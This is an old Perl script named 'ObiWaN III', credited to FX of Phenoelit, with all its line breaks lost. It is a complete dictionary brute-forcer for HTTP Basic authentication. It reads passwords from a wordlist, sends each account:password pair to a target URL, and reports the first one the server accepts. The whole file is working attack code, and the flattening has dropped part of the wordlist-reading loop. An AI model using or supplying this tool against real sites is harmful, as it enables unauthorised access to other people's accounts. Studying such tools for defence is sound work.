#!/usr/bin/perl -w # # ObiWaN III - the PERL edition # # FX # Phenoelit (http://www.phenoelit.de/) # - open source - # - copy unmodified - # # $Id: oIII.pl,v 1.3 2001/04/19 14:53:52 fx Exp fx $ # use IO::Socket; use MIME::Base64; $|=1; # check command line #($url,$wl,$acc,$port,$ssl)=@ARGV; ($url,$wl,$acc,$port)=@ARGV; if (!$wl) { print STDERR "Usage: URL Wordlist Account\n"; exit 1; } # open wordlist if (!open(FD_IN,$wl)) { print STDERR "Could not open ".$wl." as wordlist\n"; exit 1; } # make up url and host name $url=~s/http:\/\///i; $url=~/([\w\.]+)(\/.*)/; $hostname=$1; $uri=$2; # port if (!$port) { $port="80"; } # run through wordlist MLOOP: while ($passw=) { # get hold of the password chomp $passw; $authstr=encode_base64($acc.":".$passw); print "'".$acc.":".$passw."' "; $code=&HTTPconnect($hostname,$port,$hostname,$uri,$authstr); if ($code < 400) { print $code." (good) \n"; last MLOOP; } else { print $code." (fail) \n"; } } # close wordlist close FD_IN; ############################################################################# ## Subs ############################################################################# # returns the HTTP code # call: # desthost # destport # hostname # uri # authstring sub HTTPconnect { my $request; my $remote; my $rline; my $HTTPcode; ($desthost,$destport,$hostname,$uri,$auth)=@_; $request = "GET ".$uri." HTTP/1.0\r\n". "Host: ".$hostname."\r\n". "Accept: text/html, text/plain, application/pdf, image/*, ". "image/jpeg, text/sgml, video/mpeg, image/jpeg, image/tiff,". "image/x-rgb, image/png, image/x-xbitmap, image/x-xbm, ". "image/gif, application/postscript, */*;q=0.01\r\n". "Accept-Encoding: gzip, compress\r\n". "Accept-Language: en\r\n". "Authorization: Basic ".$auth."\r\n". "Pragma: no-cache\r\n". "Cache-Control: no-cache\r\n". "User-Agent: vi coded PERL script\r\n". "Referer: http://www.phenoelit.de/obiwan/\r\n". "\r\n\r\n"; $remote = IO::Socket::INET->new( Proto=>"tcp", PeerAddr=>$desthost, PeerPort=>$destport,); if (!$remote) { sleep 2; $remote = IO::Socket::INET->new( Proto=>"tcp", PeerAddr=>$desthost, PeerPort=>$destport,); } unless ($remote) { die "cannot connect to http daemon on $desthost" } # send request to site $remote->autoflush(1); print $remote $request; $rline=<$remote>; $rline=~/HTTP\S+\s(\d+)/; $HTTPcode=$1; close $remote; return $HTTPcode; }